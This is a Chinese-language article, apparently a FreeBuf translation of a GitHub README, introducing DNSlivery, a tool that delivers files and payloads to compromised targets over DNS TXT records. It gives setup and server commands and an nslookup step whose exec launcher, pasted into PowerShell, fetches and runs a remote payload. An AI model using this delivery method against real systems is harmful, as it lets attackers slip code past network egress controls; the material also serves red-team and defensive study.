DNSlivery:通過DNS發送文件和payload的工具
- 2019 年 10 月 7 日
- 筆記
前言
DNSlivery是一款使用DNS作為傳輸協議將文件傳遞到目標的工具。
特點
1.執行或上傳文件到目標機器 2.目標上的不需要任何客戶端 3.不需要完整的DNS伺服器

它可以輕鬆地將文件或payload傳送到受損目標,不需要使用傳統的Web傳輸,無需專用客戶端軟體。這適用于禁止傳出Web流量的受限環境。

雖然現在已經存在更完整的DNS隧道工具(比如 dnscat2和iodine),它們都需要在目標上運行專用客戶端。問題是DNS可能沒有其他辦法在這種受限制的環境中提供客戶端。換句話說,使用這些工具構建DNS通訊通道需要已具有DNS通訊通道。
相比之下,DNSlivery僅提供從伺服器到目標的單向通訊,但不需要任何專用客戶端來執行此操作。因此,如果您需要通過DNS構建可靠的雙向通訊通道,請使用DNSlivery為您的目標提供更高級的DNS隧道工具的客戶端。
它是如何工作的?
與大多數DNS隧道工具一樣,DNSlivery使用TXT記錄以base64表示形式存儲文件內容。但是,它不需要設置完整的DNS伺服器。相反,它使用scapy庫來偵聽傳入的DNS數據包並製作所需的響應。

由於大多數文件不適合單個TXT記錄,DNSlivery將創建包含該文件的base64塊的多個有序記錄,上面的圖示出了輸送第二命名的文件的塊file。
為了檢索所有base64塊並將它們重新組合在一起而不需要在目標上使用專用客戶端,DNSlivery將為每個文件生成:
1.一個明文發送器 2.一個base64編碼stager

需要這兩個階段的交付過程來向stager添加功能(處理丟失的DNS響應),否則這些功能將不適合單個TXT記錄。
關於目標兼容性的注意
目前,僅支援PowerShell目標。但是,可以改進DNSlivery以支援其他目標,例如bash或python。如果這是您希望實現的功能,請告訴我@ no0be。
要求
DNSlivery不需要構建複雜的伺服器基礎結構。實際上,只有兩個簡單的要求:
1.能夠NS在您的公共DNS區域中創建記錄 2.擁有一台能夠從Internet 接收流量的Linux伺服器,開放udp/53
DNS
第一步是通過NS在域中創建新記錄,將子域委派給將運行DNSlivery的伺服器。作為示例,我創建了以下記錄以將子域委託dnsd.no0.be給伺服器vps.no0.be。
dnsd IN NS vps.no0.be.
如果您的區域由第三方提供商管理,請參閱其文檔以創建NS記錄。
DNSlivery
運行DNSlivery的唯一要求是python3它的scapy庫。
git clone https://github.com/no0be/DNSlivery.git && CD DNSliverypip install -r requirements.txt
用法
伺服器
DNSlivery將為給定目錄的所有文件提供服務(pwd默認情況下),並且需要以root許可權運行s以偵聽傳入的udp/53數據包。
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserverDNSlivery - Easy files and payloads delivery over DNSpositional arguments: interface interface to listen to DNS traffic domain FQDN name of the DNS zone nameserver FQDN name of the server running DNSliveryoptional arguments: -h, --help show this help message and exit -p PATH, --path PATH path of directory to serve over DNS (default: pwd) -s SIZE, --size SIZE size in bytes of base64 chunks (default: 255) -v, --verbose increase verbosity
示例:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-deliveryDNSlivery - Easy files and payloads delivery over DNS[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)[*] Listening for DNS queries...
關於文件名規範化的注意
由於允許域名的字符集比UNIX文件名更具限制性(根據RFC1035),DNSlivery將在需要時執行規範化。
示例:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
請注意,當前的規範化程式碼並不完美,因為它不會考慮重疊的文件名或大小限制。
目標
在目標上,首先通過請求其專用記錄來檢索所需文件的啟動器TXT。支援以下三個啟動器:
行動 |
發射台 |
描述 |
---|---|---|
輸出 |
[filename].print.[domain] |
(默認)將傳送的文件列印到控制台 |
執行 |
[filename].exec.[domain] |
執行傳遞的文件 |
保存 |
[filename].save.[domain] |
將傳遞的文件保存到磁碟 |
nslookup -type = txt [filename].[stager].[domain]
然後,只需將DNS響應中引用的啟動器複製並粘貼到PowerShell控制台即可檢索目標上的文件。
示例:

參考來源:GitHub,FB小編周大濤編譯,轉載請註明來自FreeBuf.COM